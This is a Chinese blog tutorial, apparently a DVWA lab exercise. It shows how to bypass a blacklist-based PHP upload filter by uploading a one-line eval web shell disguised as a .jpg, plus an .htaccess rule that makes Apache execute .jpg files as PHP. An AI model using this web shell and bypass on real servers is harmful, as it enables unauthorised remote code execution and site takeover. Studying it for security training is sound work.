当前位置:首页 > 大杂烩 > 正文内容

php文件上传漏洞图片解析漏洞

高老师5年前 (2020-08-30)大杂烩2272

(1).先看靶机代码:

<?php
if (isset($_POST['Upload']))
{
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path = $target_path . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $blackList = ['php', 'asp', 'exe', 'jsp', 'aspx', 'js', 'py', 'cpp', 'com', 'bat', 'dll', 'sh','html','rar','iso','zip'];
    if(in_array($uploaded_ext,$blackList))
    {
        echo '<pre>';
        echo 'Your image was not uploaded.';
        echo '</pre>';

    }
    else
    {
        if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
        {
            echo '<pre>';
            echo 'Your image was not uploaded.';
            echo '</pre>';
        }
        else
        {
            echo '<pre>';
            echo $target_path . ' succesfully uploaded!';
            echo '</pre>';
        }
    }
}

?>

靶机只支持运行php脚本,但是不允许上传php。

(2).创建1个c.php.jpg文件伪装为图片文件:

<?php @eval($_POST['pass']);?>

(3).访问图片文件http://192.168.147.131/dvwa/hackable/uploads/c.php.jpg发现无法执行成功,因为服务器认为是图片文件,不允许执行

(4).上传文件.htaccess 设置允许执行.jpg文件,因为服务器是apache允许这样设置。

AddType application/x-httpd-php .jpg

(5).中国菜刀连接成功

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:https://blog.20230611.cn/post/576.html

分享给朋友:

“php文件上传漏洞图片解析漏洞” 的相关文章

c#中string和StringBuilder效率对比

c#中string和StringBuilder效率对比

    c#中string和StringBuilder直接看看执行速度。(2).String类型累计赋值Test               ...

svn自动更新到网站

svn自动更新到网站

【一】.钩子文件的设置和创建(1).打开hooks目录,可以看到有一个post-commit.tmpl文件,这是一个模板文件。复制一份,重命名为post-commit,将其用户组设为www,并设置为可执行。chown www:www post-commitchmod +x post-commit(2...

Application的错误使用

Application的错误使用

Application 对象用于存储和访问来自任意页面的变量,类似 Session 对象。不同之处在于所有的用户分享一个 Application 对象,而 session 对象和用户的关系是一一对应的。很多的书籍中介绍的Application对象都喜欢以统计在线人数来介绍Application 对象...

Git推送文件到远程仓库

Git推送文件到远程仓库

1.远程仓库的协作模式开发者把自己最新的版本推到线上仓库,同时把线上仓库的最新代码,拉到自己本地即可2.注册git帐号国外: http://www.github.com国内: http://git.oschina.net2.在码云创建项目,不要初始化readmegit push https://gi...

c#关闭计算机的代码

c#关闭计算机的代码

    1.关机Process.Start("shutdown", "-s -t 0");    2. 注销  Proc...

c#中文简体转换繁体

c#中文简体转换繁体

private const string fantizi = "高久峰是個程序員"; private const string jiantizi = "高久峰是个程序员...